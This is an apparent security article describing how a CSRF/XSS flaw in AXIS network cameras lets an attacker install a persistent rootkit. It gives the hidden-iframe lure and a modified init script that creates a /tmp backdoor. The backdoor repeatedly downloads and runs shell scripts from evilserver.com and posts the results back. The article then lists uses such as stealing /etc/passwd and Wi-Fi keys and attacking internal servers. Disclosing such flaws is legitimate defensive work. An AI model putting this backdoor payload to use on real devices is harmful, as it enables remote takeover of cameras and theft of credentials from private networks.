Home > Articles > Security > Network Security

  • Print
  • + Share This

Administrator CSRF to AXIS rootkit

The entire interface is vulnerable to cross-site request forgery (CSRF) attacks. As a result, if a person is logged in as administrator, and that person is viewing other web pages from the same browser, it is trivial to send commands to the camera that can do all sorts of things, such as:

  • Reboot the camera:
  • Add a new administrator:

However, what really makes the existence of a CSRF dangerous is that the filesystem of the AXIS camera is built around Linux and is customizable. In addition, the camera includes enough functionality to allow someone to install a back door via a CSRF/XSS attack. Let's look at how this would work.

The attacker would either have to convince the victim to either view a website he controls or click on a URL that was sent via IM or email. At this point, the XSS/CSRF attack begins by loading a few pages from the attacker's server in hidden IFRAMEs using something like the following:<iframe
><iframe src=http://www.evilserver.com/wifi/axisrb.htm

What this would do is load a CSRF attack that then submits the following POST to the camera's interface at address /admin-bin/editcgi.cgi?file=/etc/init.d/httpd. If you note, we are editing the httpd file, which is executed each time the camera is booted. In addition, we are also using another XSS vulnerable script. The following is the updated the httpd file:

#! /bin/sh

echo "sleep 120" > /tmp/bd
echo "while true" >> /tmp/bd
echo "do" >> /tmp/bd
echo "shttpclient -o /tmp/todo http://evilserver.com/wifi/todo" >> /tmp/bd
echo "chmod 777 /tmp/todo" >> /tmp/bd
echo "/tmp/todo" >> /tmp/bd
echo "RESULTS=\´cat /tmp/results2\´" >> /tmp/bd
echo "shttpclient -o /tmp/output.txt http://evilserver.com/wifi/getresults.php?results=\$RESULTS" >> /tmp/bd
echo "sleep 60" >> /tmp/bd
echo "done" >> /tmp/bd
chmod 777 /tmp/bd

. /etc/init.d/functions.sh
. /etc/conf.d/httpd

case "$1" in
    begin "Starting web server"
    start_daemon /bin/boa $BOA_OPTIONS
    end $?
    begin "Stopping web server"
    stop_daemon /bin/boa
    end $?
    begin "Restarting web server"
    stop_daemon /bin/boa
    start_daemon /bin/boa $BOA_OPTIONS
    end $?
    error "Usage: $0 start|stop|restart"

We added in a few lines at the beginning of the file that essentially create a file called bd in the /tmp directory of the camera. This bd (e.g. backdoor) file is then turned into an executable and launched. This then starts a loop that uses a built-in program called shttpclient to check the evilserver.com for a new todo file that contains shell script to be executed. If the todo script is set up to output data to the output.txt file, then the bd script will post that content back to the Internet.

In other words, your AXIS camera can be rooted and remotely controlled by someone outside your network. Just imagine what can be done (and much more):

  • Ping scan your internal network
  • Grab banners using an existing copy of Netcat on the camera
  • Send http requests to internal web servers and systematically hack them
  • Grab the /etc/passwd file of the camera and post it
  • Steal the wireless WEP or WPA password that is stored as plaintext in the configuration file

And much more...

  • + Share This
  • 🔖 Save To Your Account

Related Resources

There are currently no related titles. Please check back later.